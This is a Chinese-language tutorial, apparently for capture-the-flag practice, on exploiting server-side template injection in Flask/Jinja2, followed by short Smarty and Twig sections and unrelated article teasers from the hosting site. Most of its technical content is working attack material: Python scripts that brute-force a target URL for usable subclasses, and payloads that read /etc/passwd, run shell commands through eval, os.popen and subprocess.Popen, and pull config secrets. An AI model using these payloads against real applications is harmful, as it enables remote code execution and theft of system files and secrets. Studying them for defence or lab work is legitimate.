python flask Jinja2模板学习

分类很好的一篇文章

Jinja2模板语法 

Jinja2里常见的三种定界符:

  • (1) 语句 {% ... %}
  • (2) 表达式 {{ ... }}
  • (3) 注释 {# ... #}
   {%set a='dazhaung'%}   语句设置变量
   {{a}}            表达式
    {% if 2>1 %}控制语句以{%endif%}结尾

Jinja2支持使用“.”获取变量的属性,比如user字典中的username键值通过“.”获取,即user.username 等同于 user['username']。 


python 类的基础知识

所有类的最终父类都是object,漏洞是通过找到父类下的执行函数命令执行

魔法方法

__class__ 查找当前类型的所属对象

__base__ 沿着父子类的关系往上走一个

__mro__ 查找当前类对象的所有继承类

__subclasses__() 查找父类下的所有子类

__init__ 查看类是否重载,重载实质程序运行是就已经加载好了这个模块到内存中,如果出现wrapper,说明没有重载

__globals__ 函数会以字典形式返回当前对象的全部全局变量

__builtins__提供对python的所有内置标识符的直接访问

eval计算字符串表达式的值

popen()执行一个shell以运行命令

一、文件读取 多配合pin码 

step1:脚本读取 _frozen_importlib_external.FileLoader

import requests
url = input('请输入 URL : ')
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if '_frozen_importlib_external.FileLoader' in response.text:
            print(i)

step2: 直接利用其 get_data() 函数即可。

get_data() 利用时第一个参数为 0 ,第二个参数为文件路径即可。

0:这是一个参数,表示要加载的文件的模块名称。在这里,0 表示没有特定的模块名称,而是直接指定文件路径。

name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

二、RCE 远程代码执行

1. 利用含有内建函数eval的__builtins__  模块执行命令

内建函数:python 在执行脚本时自动加载的函数,可通过 __builtins__ 进行直接访问

step1: 脚本查找首可以利用内建函数 eval 的模块: 

import requests
url = input("请输入 URL:")
for i in range(500):
    # payload 中需要先初始化再列出所有全局变量
    data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "eval" in response.text:
            print(i)

step2: 利用内建函数 __builtins__寻找eval() 和 popen() 或者file 执行系统命令

利用内嵌函数eval进行命令执行
name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

利用file函数进行读取
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

2. os 模块执行系统命令  hackbar里边都有 

2.1 在 flask 其他函数中直接调用 os 模块(flask 内嵌)

  • 通过 config
  • {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
    
  • 通过 url_for()
{{url_for.__globals__.os.popen('ls').read()}}
等价于
{{url_for.__globals__['os'].popen('ls').read()}}

注意区别 os是__globals__中的一个模块,可以用字典引用,而popen('ls')中ls是参数不能用 .ls替换
  • 通过 lipsum()
{{lipsum.__globals__.os.popen('cat flag').read()}}

 2.2 在已经加载 os 模块的子类里直接调用 os 模块

(1)寻找含有 os 模块的类
step1: 脚本查找含有os的类  <class 'os._wrap_close'>     <class 'subprocess.Popen'>

老规矩,先用脚本查找哪些子类已经加载 os 模块

import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "os.py" in response.text:
            print(i)

 step2: 构造 payload

{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
(2) linecache 函数执行命令

linecache 函数用于读取一个文件的某一行。这个函数加载了 os 模块,因此可以用来执行命令。

import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "linecache" in response.text:
            print(i)


{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
# 等价于
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"].os.popen("ls -l /").read()}}

3.其他

 读取配置文件中的FLAG 

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

 利用warnings.catch_warnings 进行命令执行 

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
4.寻找类加载os的类来执行os
(1)importlib 类执行命令

可使用该类的 load_module 方法加载 os 模块

import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "_frozen_importlib.BuiltinImporter" in response.text:
            print(i)
step2: 构造 payload
{{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
注意这里的('os')是一个参数,意思是加餐os模块,不能用['os']或者.os.替换
(2) subprocess.Popen 类执行命令

subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn  

import requests
url = input("请输入 URL:")
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "subprocess.Popen" in response.text:
            print(i)

{{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

常见的模板引擎有 

.php 常用的

Smarty

Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛

Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。

2.Java 常用的

JSP

这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典

FreeMarker

FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3.Python 常用的

Jinja2

flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎

django

django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

tornado

tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

1.smarty模板注入常用标签

{php}:

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签

但是这个也是要分版本的,Smarty已经废弃{php}标签,强烈建议不要使用 

{}

直接输入php命令即可:
{system(‘ls’)}

 2.Twig模板注入 

// Jinja2
{{7*7}}
{{7*'7'}}    ->   7777777

// Twig
{{7*7}}
{{7*'7'}}    ->    49

payload:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls")}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/225967.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ERP软件定制开发对企业的优势|app小程序搭建

ERP软件定制开发对企业的优势|app小程序搭建 随着科技的不断发展&#xff0c;企业管理也面临了更多的挑战。为了更好地适应市场需求和提高运营效率&#xff0c;越来越多的企业开始选择使用ERP软件进行管理。然而&#xff0c;市场上现成的ERP软件并不能完全满足企业的需求&#…

【移动端vant 地址选择滑动不了】

分析&#xff1a; H5页面直接在浏览器打开是没有任何问题的&#xff0c;但是内嵌到小程序中就会出现&#xff0c;目前已出现在抖音&#xff0c;快手&#xff0c;小程序中&#xff0c;其他的没有试 大致看了一下&#xff0c;滑动不了的原因&#xff0c;可能是页面禁止滑动或滚动…

人工智能企业引入S-SDLC,推动安全能力大跃升,保障AI技术体系深化落地

某人工智能公司是国际知名的上市企业&#xff0c;核心技术处于世界前沿水平。多年来&#xff0c;该企业在智慧教育、智慧医疗、智慧城市、智慧司法、金融科技、智能汽车、运营商、消费者等领域进行深度技术赋能&#xff0c;深入推进各个行业的智能化、数字化转型建设。 人工智能…

第二十一 网络通信

网络通信 21.1 网络程序设计基础 网络程序设计编写的是与其他计算机进行通信的程序。 21.1.1 局域网与互联网 实现两台计算机的通信&#xff0c;必须用一个网络线路来连接两台计算机 21.1.2 网络协议 1.ip协议 IP是Internet Protocol的简称&#xff0c;是一种网络协议 2…

使用cpolar完成内网穿刺

cpolar官网上有一句评论&#xff1a;cpolar是用过最简单的内网穿刺工具&#xff01; 实际体验下来&#xff0c;cpolar确实是能够非常简单地实现内网穿刺 先说弊端&#xff0c;免费版的cpolar提供的穿刺地址&#xff0c;有效期为一天&#xff0c;进程连接数有限&#xff0c;如…

企业软件的分类有哪些|app小程序定制开发

企业软件的分类有哪些|app小程序定制开发 企业软件是指为了满足企业运营和管理需求而开发的软件系统。根据不同的功能和应用领域&#xff0c;企业软件可以分为以下几个分类&#xff1a; 1. 企业资源计划&#xff08;Enterprise Resource Planning&#xff0c;ERP&#xff09;软…

非线性成长的科技潮品,Realme“大黑马”之路如何延续?

存量博弈时代&#xff0c;如何从“内卷”中突围&#xff0c;是智能手机市场最大的命题。 12月4日&#xff0c;真我realme副总裁、全球营销总裁、中国区总裁徐起在社交媒体发言&#xff1a;“既然已经在红海市场里&#xff0c;那就血战到底吧&#xff01;” 这是为12月7日发布的…

python-比较Excel两列数据,并分别显示差异

利用 openpyxl 模块&#xff0c;操作Excel&#xff0c;比较Excel两列数据&#xff0c;并分别显示差异 表格数据样例如下图 A&#xff0c;B两列是需要进行比较的数据&#xff08;数据源为某网站公开数据&#xff09;&#xff1b;C&#xff0c;D两列是比较结果的输出列 A&#…

Chatgpt如何完成论文写作及python机器学习和深度学习领域的运用

2023年随着OpenAI开发者大会的召开&#xff0c;最重磅更新当属GPTs&#xff0c;多模态API&#xff0c;未来自定义专属的GPT。微软创始人比尔盖茨称ChatGPT的出现有着重大历史意义&#xff0c;不亚于互联网和个人电脑的问世。360创始人周鸿祎认为未来各行各业如果不能搭上这班车…

初学vue3与ts:vue3选项式api获取当前路由地址

vue2的获取方法 this.$route.pathvue3选项式api获取方法 import { useRouter } from vue-router; const router useRouter(); console.log(router) console.log(router.currentRoute.value.path)

集合的大家族

常见面试题&#xff1a;ArrayList和LinkedList的区别 ArrayList是基于动态数组实现的&#xff0c;而LinkedList是基于链表实现的由于第1点因此ArrayList在查找和修改元素操作时效率更高&#xff0c;而在增删元素时LinkedList则效率更高&#xff0c;因为ArrayList需要移动数据

应用在大功率驱动器中的IGBT晶圆

功率器件驱动器是电力电子系统的低压信号控制电路和高压主电路之间的接口&#xff0c;是功率器件应用的关键技术与难点之一。功率器件中的晶体管和晶闸管在应用中需要驱动器的驱动信号才可运行&#xff0c;功率器件驱动器的通常作用是电气隔离、信号传输与放大及功率器件的保护…

二叉树题目:翻转二叉树以匹配前序遍历

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;翻转二叉树以匹配前序遍历 出处&#xff1a;971. 翻转二叉树以匹配前序遍历 难度 5 级 题目描述 要求 给定一个二叉树的根结点 root \texttt{roo…

【STM32单片机】简易电子琴设计

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 本项目使用STM32F103C8T6单片机控制器&#xff0c;使用数码管模块、矩阵按键、无源蜂鸣器等。 主要功能&#xff1a; 系统运行后&#xff0c;蜂鸣器播放一首音乐&#xff0c;进入电子琴模式&#xff0c;…

“大病来前,脚先知”!若是你的脚部有6个表现,或是大病信号

脚是人的“根”&#xff0c;一棵大树是否繁盛取决于根。当根部枯萎时&#xff0c;树木就会率先枯竭&#xff0c;而脚就是人体老化的征兆。因此&#xff0c;有一句古老的谚语&#xff0c;“大病来临之前脚先知”&#xff0c;这意味着可以通过观察脚的运动表现来预测大病的迹象。…

从零开发短视频电商 JMH压测真实示例DEMO

文章目录 原理依赖基础示例结果main 关键注解示例BenchmarkWarmupMeasurementBenchmarkModeOutputTimeUnitForkThreadsStateSetup 和 TearDownParam 问题DeadCode常量折叠Loops JMH 测试的对象可以是任一方法&#xff0c;颗粒度更小&#xff0c;例如本地方法&#xff0c;Rest A…

【数据结构】手撕排序

&#x1f525;博客主页&#xff1a; 小羊失眠啦. &#x1f3a5;系列专栏&#xff1a;《C语言》 《数据结构》 《Linux》《Cpolar》 ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 文章目录 一、排序的概念及其运用1.1 排序的概念1.2 常见的算法排序 二、 冒泡排序三、直接插入排…

微信公众号的服务器验证方法

服务器上的操作&#xff1a; 将下面的wx.py文件放在服务器上&#xff0c;运行python3 wx.py 80 # -*- coding: utf-8 -*- # filename: main.py import web import handle import hashlibclass WeChatHandler(object):def GET(self):data web.input()if len(data) 0:return &…

回溯算法:递增子序列 全排列 全排列II

491.递增子序列 思路&#xff1a; 分析题目&#xff1a; 输入一个序列&#xff0c;输出至少有两个元素的递增子序列。所谓序列&#xff0c;就是按照次序排好的行列&#xff0c;因此本题不可以把输入数组重新排序&#xff0c;否则就会改变序列的顺序。因此&#xff0c;不能使用…

C# WPF上位机开发(抽奖软件)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 每到年末或者是尾牙的时候&#xff0c;很多公司都会办一些年终的清楚活动&#xff0c;感谢员工过去一年辛苦的付出。这个时候&#xff0c;作为年会…